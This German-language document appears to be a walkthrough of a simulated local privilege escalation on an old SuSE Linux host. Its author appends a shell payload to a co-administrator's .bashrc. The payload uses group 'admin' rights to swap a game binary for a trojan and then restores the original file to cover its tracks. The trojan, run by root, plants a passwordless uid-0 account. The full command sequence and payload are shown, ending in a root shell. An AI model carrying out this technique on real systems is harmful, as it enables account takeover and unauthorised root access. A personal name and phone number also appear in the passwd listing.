Zuerst sehen wir uns den Nutzer coadmin an.
hacker@Walhall:/home/hacker > ls -l /home/coadmin/.bashrc
-rw-r--r--   1 coadmin  users        1181 May 19  1996 /home/coadmin/.bashrc
hacker@Walhall:/home/hacker/simulation > ls -l /home/
total 5
drwxrwxr-x   6 coadmin  users        1024 Mar 12 18:01 coadmin/
drwxr-xr-x   7 hacker   users        1024 Mar 12 19:55 hacker/
drwxr-xr-x   9 root     root         1024 Dec 20  1994 ingres/
drwxr-xr-x  10 jan      users        1024 Mar 17 16:02 jan/
drwxr-xr-x   6 test     users        1024 Jan  5 22:39 test/
hacker@Walhall:/home/hacker/simulation > grep admin /etc/group
admin::60:root,coadmin
Wir werfen einen Blick auf den uns bekannten Spieler dieses Systems, von welchem wir wissen, dass er grundsätzlich jedes neue Spiel ausprobiert.
hacker@Walhall:/home/hacker/simulation > grep player /etc/passwd
player:x:501:100:Ein hemmungloser Spieler:/home/player:/bin/bash
Und nun wollen wir noch sehen, wie der Administrator das neue Spiel installiert hat. (Das kann durchaus so richtig sein, falls alle Co-Administratoren diesem Umstand Rechnung tragen.)
hacker@Walhall:/home/hacker/simulation > ls -l /usr/games/newgame
-rwxr-xr-x   1 root     root           55 Mar 17 16:11 /usr/games/newgame*
hacker@Walhall:/home/hacker/simulation > ls -l /usr |grep games
drwxrwxr-x   7 root     admin        1024 Mar 17 16:11 games/
Und nun geht es los.
hacker@Walhall:/home/hacker/simulation > mkdir backup
hacker@Walhall:/home/hacker/simulation > cp .bashrc ./backup/
hacker@Walhall:/home/hacker/simulation > cp .bashrc ./
hacker@Walhall:/home/hacker/simulation > ls -a ./backup/
./       ../      .bashrc
hacker@Walhall:/home/hacker/simulation > cat include >> .bashrc
hacker@Walhall:/home/hacker/simulation > tail /home/coadmin/.bashrc
if [ -z "$DISPLAY" -a -f ~/.DISPLAY ] ; then
    DISPLAY=`cat ~/.DISPLAY`
fi


test -e ~/.alias && . ~/.alias


export DISPLAY LESS PS1 PS2
umask 022
hacker@Walhall:/home/hacker/simulation > rm -f /home/coadmin/.bashrc
hacker@Walhall:/home/hacker/simulation > cp .bashrc /home/coadmin/
hacker@Walhall:/home/hacker/simulation > chmod a+r /home/coadmin/.bashrc
hacker@Walhall:/home/hacker/simulation > chmod g+x /home/coadmin/.bashrc
hacker@Walhall:/home/hacker/simulation > chown coadmin /home/coadmin/.bashrc
chown: /home/coadmin/.bashrc: Operation not permitted
Na ja, wäre ja auch noch schöner und etwas zu perfekt.
hacker@Walhall:/home/hacker/simulation > tail /home/coadmin/.bashrc
cd /usr/games
sg admin -c "mv newgame helpgame"
sg admin -c "cp /home/hacker/simulation/newgame ./"
sg admin -c "chmod a+r+x /usr/games/newgame"
cd /home/coadmin
rm -f /home/coadmin/.bashrc
cp /home/hacker/simulation/backup/.bashrc ./
chown coadmin /home/coadmin/.bashrc
chgrp users /home/coadmin/.bashrc
cd /home/coadmin
hacker@Walhall:/home/hacker/simulation > cat include
cd /usr/games
sg admin -c "mv newgame helpgame"
sg admin -c "cp /home/hacker/simulation/newgame ./"
sg admin -c "chmod a+r+x /usr/games/newgame"
cd /home/coadmin
rm -f /home/coadmin/.bashrc
cp /home/hacker/simulation/backup/.bashrc ./
chown coadmin /home/coadmin/.bashrc
chgrp users /home/coadmin/.bashrc
cd /home/coadmin
hacker@Walhall:/home/hacker/simulation > /usr/games/newgame

Spiel wird ausgefuehrt.


Nun wollen wir sehen, ob coadmin die Unterwanderung seines Accounts feststellen kann. Der User coadmin hat sich neu eingeloggt und führt die folgenden Befehle aus:
coadmin@Walhall:/home/coadmin > ls -l .bashrc
-rw-r--r--   1 coadmin  users        1181 Mar 17 19:15 .bashrc
coadmin@Walhall:/home/coadmin > tail .bashrc
if [ -z "$DISPLAY" -a -f ~/.DISPLAY ] ; then
    DISPLAY=`cat ~/.DISPLAY`
fi


test -e ~/.alias && . ~/.alias


export DISPLAY LESS PS1 PS2
umask 022

Offensichtlich ist unser Plan den Account von coadmin nur temporär zu unterwandern aufgegangen. Der Nutzer hacker kann sich nun seine Erfolge ansehen.
hacker@Walhall:/home/hacker/simulation > ls -l /usr/games/*game
-rwxr-xr-x   1 root     root           55 Mar 17 16:11 /usr/games/helpgame*
-rwxr-xr-x   1 coadmin  admin         598 Mar 17 19:15 /usr/games/newgame*
hacker@Walhall:/home/hacker/simulation > tail /etc/passwd
mdom:x:28:28:Mailing list agent:/local/majordomo:/bin/false
yard:x:29:29:YARD Datenbankadministrator:/usr/lib/YARD:/bin/bash
ftp:x:40:2:ftp account:/local/ftp:/bin/false
nobody:x:-2:-2:nobody:/tmp:/bin/false
bin:x:1:1:bin:/bin:
jan:x:500:100:Jan Fischer, Telefon +49-371-22 34 60:/home/jan:/bin/bash
coadmin:x:502:100:Co-Administrator:/home/coadmin:/bin/bash
hacker:x:503:100:Ein Hacker:/home/hacker:/bin/bash
player:x:501:100:Ein hemmungloser Spieler:/home/player:/bin/bash
user_abc:x:504:100:Ein beliebiger Nutzer des Systems:/home/user_abc:/bin/bash
Bei allen Nutzern, welche nicht root, jan oder player sind funktioniert alles wie vorher
user_abc@Walhall:/home/user_abc > /usr/games/newgame

Spiel wird ausgefuehrt.


Bei player sieht es dagegen so aus:
player@Walhall:/home/player > /usr/games/newgame
missing newgame.conf

Ebenso bei jan:
jan@Walhall:/home/jan > /usr/games/newgame
missing newgame.conf

Wenn nun jan newgame unter root Rechten testet sieht er folgendes
root@Walhall:/home/jan > /usr/games/newgame

Spiel wird ausgefuehrt.


Nun ist hacker fertig.
hacker@Walhall:/home/hacker/simulation > tail /etc/passwd
yard:x:29:29:YARD Datenbankadministrator:/usr/lib/YARD:/bin/bash
ftp:x:40:2:ftp account:/local/ftp:/bin/false
nobody:x:-2:-2:nobody:/tmp:/bin/false
bin:x:1:1:bin:/bin:
jan:x:500:100:Jan Fischer, Telefon +49-371-22 34 60:/home/jan:/bin/bash
coadmin:x:502:100:Co-Administrator:/home/coadmin:/bin/bash
hacker:x:503:100:Ein Hacker:/home/hacker:/bin/bash
player:x:501:100:Ein hemmungloser Spieler:/home/player:/bin/bash
user_abc:x:504:100:Ein beliebiger Nutzer des Systems:/home/user_abc:/bin/bash
hura::0:100:Wir haben es:/home/player:/bin/bash
hacker@Walhall:/home/hacker/simulation > ls -l /usr/games/*game
-rwxr-xr-x   1 root     root           55 Mar 17 16:11 /usr/games/newgame*
hacker@Walhall:/home/hacker/simulation > /usr/games/newgame

Spiel wird ausgefuehrt.


hacker kann nun unter root Rechten arbeiten
Welcome to S.u.S.E. Linux 4.2 - Kernel 2.0.0 (tty1).

Walhall.home.lokal.de login: hura
Have a lot of fun...
Last login: Mon Mar 17 18:24:19 on tty1
No mail.

"I'm fed up to the ears with old men dreaming up wars for young men to
die in."
                -- George McGovern

root@Walhall:/home/player > id
uid=0(root) gid=100(users) groups=100(users)